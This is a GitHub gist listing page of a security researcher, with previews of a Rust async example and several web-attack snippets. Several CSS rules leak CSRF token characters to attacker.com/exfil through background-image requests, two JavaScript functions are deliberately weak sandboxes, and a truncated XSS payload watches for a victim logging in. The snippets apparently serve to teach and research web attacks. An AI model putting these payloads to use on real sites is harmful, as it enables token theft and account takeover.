Skip to content

Instantly share code, notes, and snippets.

View d0nutptr's full-sized avatar
🍩
https://twitter.com/d0nutptr

d0nut d0nutptr

🍩
https://twitter.com/d0nutptr
652 followers · 111 following
View GitHub Profile
@d0nutptr
d0nutptr / main.rs
Created January 24, 2019 00:58
How to process multiple async calls concurrently in rust. I left comments where I made mistakes initially so I don't mess this up again.
#![feature(await_macro, async_await, futures_api)]
extern crate futures;
#[macro_use]
extern crate tokio;
extern crate tokio_async_await;
use tokio::prelude::*;
use tokio::runtime::Runtime;
use tokio_async_await::compat::backward;
@d0nutptr
d0nutptr / has_selector_query.css
Created July 25, 2018 07:45
form:has(input[name=csrf][value^=token]) {
background-image: url(https://attacker.com/exfil/token);
}
@d0nutptr
d0nutptr / example_css_injection_3.css
Created July 25, 2018 07:24
input[name=csrf][value^=csrF] ~ * {
background-image: url(https://attacker.com/exfil/csrF);
}
@d0nutptr
d0nutptr / example_html_sibling_selectors.html`
Created July 25, 2018 07:19
<html>
<body>
<div>
<p color=red>Hello there!</p>
<p>This is also red!</p>
<p>Me too!</p>
</div>
<div>
<p>This is not red :o </p>
</div>
@d0nutptr
d0nutptr / example_css_sibling_selector.css
Created July 25, 2018 07:17
p[color=red] ~ p {
color: red;
}
@d0nutptr
d0nutptr / example_css_injection_2.css
Last active July 25, 2018 07:12
input[name=csrf][value^=ca]{
background-image: url(https://attacker.com/exfil/ca);
}
input[name=csrf][value^=cb]{
background-image: url(https://attacker.com/exfil/cb);
}
/* ... */
input[name=csrf][value^=c9]{
background-image: url(https://attacker.com/exfil/c9);
}
@d0nutptr
d0nutptr / example_css_injection_1.css
Created July 25, 2018 07:04
input[name=csrf][value^=a]{
background-image: url(https://attacker.com/exfil/a);
}
input[name=csrf][value^=b]{
background-image: url(https://attacker.com/exfil/b);
}
/* ... */
input[name=csrf][value^=9]{
background-image: url(https://attacker.com/exfil/9);
}
@d0nutptr
d0nutptr / slightly_better_jail_but_still_shitty.js
Created May 31, 2018 15:21
function jail(code) {
// quick string escape for inner strings
code = code.replace(/["'`\\]/g, function(v){ return `\\${v}`});
var jail_script = "new Function(";
// Blacklist all global scope values
for(prop in window) {
jail_script += `"${prop}", `;
}
@d0nutptr
d0nutptr / intentionally_shitty_jail.js
Created May 31, 2018 15:20
function jail(code) {
// quick string escape for inner strings
code = code.replace(/["'`\\]/g, function(v){ return `\\${v}`});
var jail_script = "new Function(";
// Blacklist all global scope values
for(prop in window) {
jail_script += `"${prop}", `;
@d0nutptr
d0nutptr / payload.js
Created May 21, 2018 08:33
Simple trick to go from unauthenticated XSS to authenticated if user logs in on another tab/browser with the same cookie jar.
frame = document.createElement("iframe");
function test_auth() {
console.log("Checking auth state...");
title = frame.contentDocument.getElementsByTagName("h1")[0].children[0].innerText;
var is_auth = title != "Login";
if(is_auth) {
name = title.split(" ")[2];
clearInterval(auth_checker);